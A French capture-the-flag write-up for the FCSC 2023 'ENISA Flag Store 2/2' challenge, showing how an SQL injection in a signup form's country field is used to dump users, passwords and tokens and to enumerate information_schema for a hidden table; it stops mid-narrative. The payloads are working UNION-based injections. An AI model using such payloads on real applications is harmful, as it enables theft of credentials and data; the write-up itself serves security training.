🇫🇷 FCSC 2023 – ENISA Flag Store 2/2 – CTF Write up

Ce challenge est la suite de ENISA Flag Store 1/2

Description

L’ENISA a dĂ©cidĂ© de mettre en place un nouveau service en ligne disponible Ă  l’annĂ©e pour les Ă©quipes qui participent Ă  l’ECSC. Ce service permet aux joueurs des diffĂ©rentes Ă©quipes nationales de se crĂ©er des comptes individuels en utilisant des tokens secrets par pays. Une fois le compte crĂ©Ă©, les joueurs peuvent voir les flags capturĂ©s dans diffĂ©rents CTF.

Les donnĂ©es personnelles des utilisateurs (mot de passe et pays) sont protĂ©gĂ©es dans la base de donnĂ©es, seuls les noms d’utilisateurs sont stockĂ©s en clair.

Le token pour la Team France est ohnah7bairahPh5oon7naqu1caib8euh.

Pour cette première Ă©preuve, on vous met au dĂ©fi d’aller voler un flag FCSC{…} Ă  l’Ă©quipe suisse 🙂

https://enisa-flag-store.france-cybersecurity-challenge.fr/

RĂ©solution

Dans ENISA Flag Store 1/2 nous avons dĂ©couvert que le site Ă©tait vulnĂ©rable Ă  une injection sql sur le champ « country » du formulaire d’inscription. Dans cette deuxième partie il nous est demandĂ© d’explorer la base de donnĂ©es Ă  la recherche d’un autre flag.

Dump des tables connues

La première chose a été de vérifier le contenu des tables dont je connaissais la structure grâce au code avec les payloads suivantes.

/* lister les username/password */
fr' UNION SELECT '1',username,password,2 FROM users --
/* lister les tokens */
fr' UNION SELECT '1',country,token,2 FROM country_tokens --
/* lister les autres paramètres de flag */
fr' UNION SELECT category,country,ctf,2 FROM flags --

Malheureusement ces payloads n’ont pas permis de trouver de flag.

Exploration de la base de données

N’ayant pas trouvĂ© de flag dans ces tables naturellement l’on va recherche Ă  explorer le reste de la base de donnĂ©es. Pour cela l’on va d’abord lister l’ensemble des tables grâce Ă  la payload suivante :

fr' UNION SELECT '',table_name,'',3 FROM information_schema.tables--

Dans la liste des tables l’on repère une table s3cr4_t4bl3 hautement suspecte :

...
country_tokens
...
flags
...
users
...
__s3cr4_t4bl3__
...

La première chose qui vient alors est « Allons lister les colonnes de cette table« . Pour ce faire, j’ai choisi comme payload :

fr' union select '',column_name,'',3 from information_schema.columns-- 

Et braaaaaa ! C’est le drame !!!

L’application indique que la chaĂ®ne de caractères est trop grande pour ĂŞtre acceptĂ©e par la base de donnĂ©es. J’ai beaucoup rĂ©flĂ©chi Ă  la manière d’Ă©crire une injection plus courte mais sans succès :

/* invalid en sql */
fr' union select column_name,,,3 from information_schema.columns-- 
/* types ne match pas lors de l'union */
fr' union select 0,column_name,0,3 from information_schema.columns--

J’ai finalement fini par abandonner cette piste. J’ai alors tentĂ© une payload que je pensais syntaxiquement invalide en SQL :

fr' union select '',*,'',3 from __s3cr4_t4bl3__--

Et braaaaaa !